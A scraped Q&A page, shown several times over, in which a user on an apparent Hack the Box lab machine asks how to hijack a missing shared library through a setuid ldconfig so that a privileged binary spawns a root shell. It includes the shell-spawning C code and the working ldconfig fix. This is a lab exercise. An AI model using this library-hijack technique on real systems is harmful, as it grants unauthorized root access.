Manually linking C library for executable











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I am currently working on a challenge on Hack the Box and am trying to get an existing executable on an exercise machine to run by library in place of one that is missing from the 'vulnerable' script.



The missing library is libseclogin.so. I have created a new file in /dev/shm and from there I have tried to use ldconfig to manually link the new library to drop me into a shell when myexec is run. ldconfig has the sticky bit set.



Here are the commands I have run. At the very end you can see that when I run ldd again to check the library has been relinked to /dev/shm/libseclogin.so that there has been no change.



Am I missing something out from this process?



genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
genevieve@dab:/dev/shm$ ls -la /sbin/ldconfig
-rwsr-sr-x 1 root root 387 Jan 14 2018 /sbin/ldconfig
genevieve@dab:/dev/shm$ nano libseclogin.c
genevieve@dab:/dev/shm$ gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
libseclogin.c: In function ‘main’:
libseclogin.c:4:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
setuid(0);
^
libseclogin.c:5:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
setgid(0);
^
libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
system("/bin/bash");
^
genevieve@dab:/dev/shm$ chmod +x libseclogin.so
genevieve@dab:/dev/shm$ ldconfig -l /dev/shm/libseclogin.so
genevieve@dab:/dev/shm$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
genevieve@dab:/dev/shm$ echo $LD_LIBRARY_PATH
:/dev/shm
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffc5f7f0000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007eff487fa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff48430000)
/lib64/ld-linux-x86-64.so.2 (0x00007eff489fc000)
genevieve@dab:/dev/shm$


This is the basic C scipt I am using to drop into the shell.



#include <stdio.h>

int main(void) {
setuid(0);
setgid(0);
system("/bin/bash");
}


Compile command to create shared library.



gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl










share|improve this question













migrated from superuser.com Dec 7 at 8:08


This question came from our site for computer enthusiasts and power users.















  • Does bash know it's supposed to run interactively? You've got an include for stdio.h, none of the other libraries need one?
    – Xen2050
    Dec 6 at 13:15















up vote
1
down vote

favorite












I am currently working on a challenge on Hack the Box and am trying to get an existing executable on an exercise machine to run by library in place of one that is missing from the 'vulnerable' script.



The missing library is libseclogin.so. I have created a new file in /dev/shm and from there I have tried to use ldconfig to manually link the new library to drop me into a shell when myexec is run. ldconfig has the sticky bit set.



Here are the commands I have run. At the very end you can see that when I run ldd again to check the library has been relinked to /dev/shm/libseclogin.so that there has been no change.



Am I missing something out from this process?



genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
genevieve@dab:/dev/shm$ ls -la /sbin/ldconfig
-rwsr-sr-x 1 root root 387 Jan 14 2018 /sbin/ldconfig
genevieve@dab:/dev/shm$ nano libseclogin.c
genevieve@dab:/dev/shm$ gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
libseclogin.c: In function ‘main’:
libseclogin.c:4:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
setuid(0);
^
libseclogin.c:5:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
setgid(0);
^
libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
system("/bin/bash");
^
genevieve@dab:/dev/shm$ chmod +x libseclogin.so
genevieve@dab:/dev/shm$ ldconfig -l /dev/shm/libseclogin.so
genevieve@dab:/dev/shm$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
genevieve@dab:/dev/shm$ echo $LD_LIBRARY_PATH
:/dev/shm
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffc5f7f0000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007eff487fa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff48430000)
/lib64/ld-linux-x86-64.so.2 (0x00007eff489fc000)
genevieve@dab:/dev/shm$


This is the basic C scipt I am using to drop into the shell.



#include <stdio.h>

int main(void) {
setuid(0);
setgid(0);
system("/bin/bash");
}


Compile command to create shared library.



gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl










share|improve this question













migrated from superuser.com Dec 7 at 8:08


This question came from our site for computer enthusiasts and power users.















  • Does bash know it's supposed to run interactively? You've got an include for stdio.h, none of the other libraries need one?
    – Xen2050
    Dec 6 at 13:15













up vote
1
down vote

favorite









up vote
1
down vote

favorite











I am currently working on a challenge on Hack the Box and am trying to get an existing executable on an exercise machine to run by library in place of one that is missing from the 'vulnerable' script.



The missing library is libseclogin.so. I have created a new file in /dev/shm and from there I have tried to use ldconfig to manually link the new library to drop me into a shell when myexec is run. ldconfig has the sticky bit set.



Here are the commands I have run. At the very end you can see that when I run ldd again to check the library has been relinked to /dev/shm/libseclogin.so that there has been no change.



Am I missing something out from this process?



genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
genevieve@dab:/dev/shm$ ls -la /sbin/ldconfig
-rwsr-sr-x 1 root root 387 Jan 14 2018 /sbin/ldconfig
genevieve@dab:/dev/shm$ nano libseclogin.c
genevieve@dab:/dev/shm$ gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
libseclogin.c: In function ‘main’:
libseclogin.c:4:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
setuid(0);
^
libseclogin.c:5:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
setgid(0);
^
libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
system("/bin/bash");
^
genevieve@dab:/dev/shm$ chmod +x libseclogin.so
genevieve@dab:/dev/shm$ ldconfig -l /dev/shm/libseclogin.so
genevieve@dab:/dev/shm$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
genevieve@dab:/dev/shm$ echo $LD_LIBRARY_PATH
:/dev/shm
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffc5f7f0000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007eff487fa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff48430000)
/lib64/ld-linux-x86-64.so.2 (0x00007eff489fc000)
genevieve@dab:/dev/shm$


This is the basic C scipt I am using to drop into the shell.



#include <stdio.h>

int main(void) {
setuid(0);
setgid(0);
system("/bin/bash");
}


Compile command to create shared library.



gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl










share|improve this question













I am currently working on a challenge on Hack the Box and am trying to get an existing executable on an exercise machine to run by library in place of one that is missing from the 'vulnerable' script.



The missing library is libseclogin.so. I have created a new file in /dev/shm and from there I have tried to use ldconfig to manually link the new library to drop me into a shell when myexec is run. ldconfig has the sticky bit set.



Here are the commands I have run. At the very end you can see that when I run ldd again to check the library has been relinked to /dev/shm/libseclogin.so that there has been no change.



Am I missing something out from this process?



genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
genevieve@dab:/dev/shm$ ls -la /sbin/ldconfig
-rwsr-sr-x 1 root root 387 Jan 14 2018 /sbin/ldconfig
genevieve@dab:/dev/shm$ nano libseclogin.c
genevieve@dab:/dev/shm$ gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
libseclogin.c: In function ‘main’:
libseclogin.c:4:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
setuid(0);
^
libseclogin.c:5:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
setgid(0);
^
libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
system("/bin/bash");
^
genevieve@dab:/dev/shm$ chmod +x libseclogin.so
genevieve@dab:/dev/shm$ ldconfig -l /dev/shm/libseclogin.so
genevieve@dab:/dev/shm$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
genevieve@dab:/dev/shm$ echo $LD_LIBRARY_PATH
:/dev/shm
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffc5f7f0000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007eff487fa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff48430000)
/lib64/ld-linux-x86-64.so.2 (0x00007eff489fc000)
genevieve@dab:/dev/shm$


This is the basic C scipt I am using to drop into the shell.



#include <stdio.h>

int main(void) {
setuid(0);
setgid(0);
system("/bin/bash");
}


Compile command to create shared library.



gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl







linux






share|improve this question













share|improve this question











share|improve this question




share|improve this question










asked Dec 6 at 9:10









Rich C

71011333




71011333




migrated from superuser.com Dec 7 at 8:08


This question came from our site for computer enthusiasts and power users.






migrated from superuser.com Dec 7 at 8:08


This question came from our site for computer enthusiasts and power users.














  • Does bash know it's supposed to run interactively? You've got an include for stdio.h, none of the other libraries need one?
    – Xen2050
    Dec 6 at 13:15


















  • Does bash know it's supposed to run interactively? You've got an include for stdio.h, none of the other libraries need one?
    – Xen2050
    Dec 6 at 13:15
















Does bash know it's supposed to run interactively? You've got an include for stdio.h, none of the other libraries need one?
– Xen2050
Dec 6 at 13:15




Does bash know it's supposed to run interactively? You've got an include for stdio.h, none of the other libraries need one?
– Xen2050
Dec 6 at 13:15












1 Answer
1






active

oldest

votes

















up vote
1
down vote



accepted










Issue was primarily down to my usage of ldconfig.



Once I ran it without explicitly specifying the so file, this seemed to correct the issues.



Correct command...



ldconfig /dev/shm



Rather than...



ldconfig /dev/shm/libseclogin.c



Then when I ran ldd myexec I got the correct output.



genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /dev/shm/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)





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    up vote
    1
    down vote



    accepted










    Issue was primarily down to my usage of ldconfig.



    Once I ran it without explicitly specifying the so file, this seemed to correct the issues.



    Correct command...



    ldconfig /dev/shm



    Rather than...



    ldconfig /dev/shm/libseclogin.c



    Then when I ran ldd myexec I got the correct output.



    genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
    linux-vdso.so.1 => (0x00007ffdbc6d9000)
    libseclogin.so => /dev/shm/libseclogin.so (0x00007f5d75cb4000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)





    share|improve this answer

























      up vote
      1
      down vote



      accepted










      Issue was primarily down to my usage of ldconfig.



      Once I ran it without explicitly specifying the so file, this seemed to correct the issues.



      Correct command...



      ldconfig /dev/shm



      Rather than...



      ldconfig /dev/shm/libseclogin.c



      Then when I ran ldd myexec I got the correct output.



      genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
      linux-vdso.so.1 => (0x00007ffdbc6d9000)
      libseclogin.so => /dev/shm/libseclogin.so (0x00007f5d75cb4000)
      libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
      /lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)





      share|improve this answer























        up vote
        1
        down vote



        accepted







        up vote
        1
        down vote



        accepted






        Issue was primarily down to my usage of ldconfig.



        Once I ran it without explicitly specifying the so file, this seemed to correct the issues.



        Correct command...



        ldconfig /dev/shm



        Rather than...



        ldconfig /dev/shm/libseclogin.c



        Then when I ran ldd myexec I got the correct output.



        genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
        linux-vdso.so.1 => (0x00007ffdbc6d9000)
        libseclogin.so => /dev/shm/libseclogin.so (0x00007f5d75cb4000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)





        share|improve this answer












        Issue was primarily down to my usage of ldconfig.



        Once I ran it without explicitly specifying the so file, this seemed to correct the issues.



        Correct command...



        ldconfig /dev/shm



        Rather than...



        ldconfig /dev/shm/libseclogin.c



        Then when I ran ldd myexec I got the correct output.



        genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
        linux-vdso.so.1 => (0x00007ffdbc6d9000)
        libseclogin.so => /dev/shm/libseclogin.so (0x00007f5d75cb4000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)






        share|improve this answer












        share|improve this answer



        share|improve this answer










        answered Dec 6 at 13:21









        Rich C

        71011333




        71011333






























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